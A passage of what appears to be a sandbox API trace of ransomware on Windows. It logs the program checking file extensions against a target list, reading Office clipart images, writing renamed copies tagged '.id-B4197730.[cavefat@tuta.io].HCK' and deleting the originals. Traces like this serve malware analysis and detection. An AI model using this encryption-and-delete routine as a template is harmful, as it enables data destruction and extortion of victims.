(lpString1=".bz2", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".7z") returned 3 [0236.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".dbf") returned 4 [0236.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".1cd") returned 4 [0236.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".jpg") returned 4 [0236.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".doc") returned 4 [0236.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".docx") returned 5 [0236.342] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0236.342] lstrlenW (lpString=".pdf") returned 4 [0236.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".xls") returned 4 [0236.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.342] lstrlenW (lpString=".xlsx") returned 5 [0236.342] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0236.342] lstrlenW (lpString=".ppt") returned 4 [0236.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".zip") returned 4 [0236.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.342] lstrlenW (lpString=".rar") returned 4 [0236.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".bz2") returned 4 [0236.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".7z") returned 3 [0236.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".dbf") returned 4 [0236.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".1cd") returned 4 [0236.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.342] lstrlenW (lpString=".jpg") returned 4 [0236.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.343] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.343] lstrlenW (lpString="J0145361.JPG") returned 12 [0236.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.343] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=21125) returned 1 [0236.343] CloseHandle (hObject=0x4b0) returned 1 [0236.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0236.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.344] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.344] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.345] GetLastError () returned 0x0 [0236.345] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x5285, lpOverlapped=0x0) returned 1 [0236.347] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x5290, lpOverlapped=0x0) returned 1 [0236.348] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.348] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0236.348] SetEndOfFile (hFile=0x4d4) returned 1 [0236.348] CloseHandle (hObject=0x4d4) returned 1 [0236.348] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.348] SetEndOfFile (hFile=0x4b0) returned 1 [0236.351] CloseHandle (hObject=0x4b0) returned 1 [0236.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0236.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.352] lstrlenW (lpString=".doc") returned 4 [0236.352] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.352] lstrlenW (lpString=".docx") returned 5 [0236.352] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0236.352] lstrlenW (lpString=".pdf") returned 4 [0236.352] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.352] lstrlenW (lpString=".xls") returned 4 [0236.352] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.352] lstrlenW (lpString=".xlsx") returned 5 [0236.352] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0236.352] lstrlenW (lpString=".ppt") returned 4 [0236.352] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.352] lstrlenW (lpString=".zip") returned 4 [0236.352] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.352] lstrlenW (lpString=".rar") returned 4 [0236.352] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString=".bz2") returned 4 [0236.353] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString=".7z") returned 3 [0236.353] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".dbf") returned 4 [0236.353] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".1cd") returned 4 [0236.353] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".jpg") returned 4 [0236.353] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".doc") returned 4 [0236.353] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString=".docx") returned 5 [0236.353] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0236.353] lstrlenW (lpString=".pdf") returned 4 [0236.353] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString=".xls") returned 4 [0236.353] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString=".xlsx") returned 5 [0236.353] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0236.353] lstrlenW (lpString=".ppt") returned 4 [0236.353] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".zip") returned 4 [0236.353] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString=".rar") returned 4 [0236.353] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.353] lstrlenW (lpString=".bz2") returned 4 [0236.353] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString=".7z") returned 3 [0236.353] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".dbf") returned 4 [0236.353] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".1cd") returned 4 [0236.353] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0236.353] lstrlenW (lpString=".jpg") returned 4 [0236.353] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.354] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.354] lstrlenW (lpString="J0145373.JPG") returned 12 [0236.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.355] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17867) returned 1 [0236.355] CloseHandle (hObject=0x4b0) returned 1 [0236.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0236.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.355] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.355] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.356] GetLastError () returned 0x0 [0236.356] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x45cb, lpOverlapped=0x0) returned 1 [0236.360] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x45d0, lpOverlapped=0x0) returned 1 [0236.361] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.361] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0236.361] SetEndOfFile (hFile=0x4d4) returned 1 [0236.361] CloseHandle (hObject=0x4d4) returned 1 [0236.361] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.361] SetEndOfFile (hFile=0x4b0) returned 1 [0236.363] CloseHandle (hObject=0x4b0) returned 1 [0236.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0236.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.364] lstrlenW (lpString=".doc") returned 4 [0236.364] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.364] lstrlenW (lpString=".docx") returned 5 [0236.364] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0236.364] lstrlenW (lpString=".pdf") returned 4 [0236.365] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".xls") returned 4 [0236.365] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".xlsx") returned 5 [0236.365] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0236.365] lstrlenW (lpString=".ppt") returned 4 [0236.365] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".zip") returned 4 [0236.365] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".rar") returned 4 [0236.365] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".bz2") returned 4 [0236.365] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.365] lstrlenW (lpString=".7z") returned 3 [0236.365] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".dbf") returned 4 [0236.365] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".1cd") returned 4 [0236.365] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".jpg") returned 4 [0236.365] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".doc") returned 4 [0236.365] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.365] lstrlenW (lpString=".docx") returned 5 [0236.365] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0236.365] lstrlenW (lpString=".pdf") returned 4 [0236.365] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".xls") returned 4 [0236.365] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".xlsx") returned 5 [0236.365] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0236.365] lstrlenW (lpString=".ppt") returned 4 [0236.365] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.365] lstrlenW (lpString=".zip") returned 4 [0236.365] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".rar") returned 4 [0236.365] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.365] lstrlenW (lpString=".bz2") returned 4 [0236.365] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.365] lstrlenW (lpString=".7z") returned 3 [0236.365] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.366] lstrlenW (lpString=".dbf") returned 4 [0236.366] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.366] lstrlenW (lpString=".1cd") returned 4 [0236.366] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0236.366] lstrlenW (lpString=".jpg") returned 4 [0236.366] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.366] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.366] lstrlenW (lpString="J0145669.JPG") returned 12 [0236.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.366] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=31850) returned 1 [0236.367] CloseHandle (hObject=0x4b0) returned 1 [0236.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0236.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.367] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.367] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.368] GetLastError () returned 0x0 [0236.368] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0236.370] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7c70, lpOverlapped=0x0) returned 1 [0236.371] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.371] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0236.372] SetEndOfFile (hFile=0x4d4) returned 1 [0236.372] CloseHandle (hObject=0x4d4) returned 1 [0236.372] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.372] SetEndOfFile (hFile=0x4b0) returned 1 [0236.374] CloseHandle (hObject=0x4b0) returned 1 [0236.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0236.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.375] lstrlenW (lpString=".doc") returned 4 [0236.375] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.375] lstrlenW (lpString=".docx") returned 5 [0236.375] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.375] lstrlenW (lpString=".pdf") returned 4 [0236.375] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.375] lstrlenW (lpString=".xls") returned 4 [0236.375] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.375] lstrlenW (lpString=".xlsx") returned 5 [0236.375] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.375] lstrlenW (lpString=".ppt") returned 4 [0236.375] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.375] lstrlenW (lpString=".zip") returned 4 [0236.376] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.376] lstrlenW (lpString=".rar") returned 4 [0236.376] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.376] lstrlenW (lpString=".bz2") returned 4 [0236.376] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.376] lstrlenW (lpString=".7z") returned 3 [0236.376] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.376] lstrlenW (lpString=".dbf") returned 4 [0236.376] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft 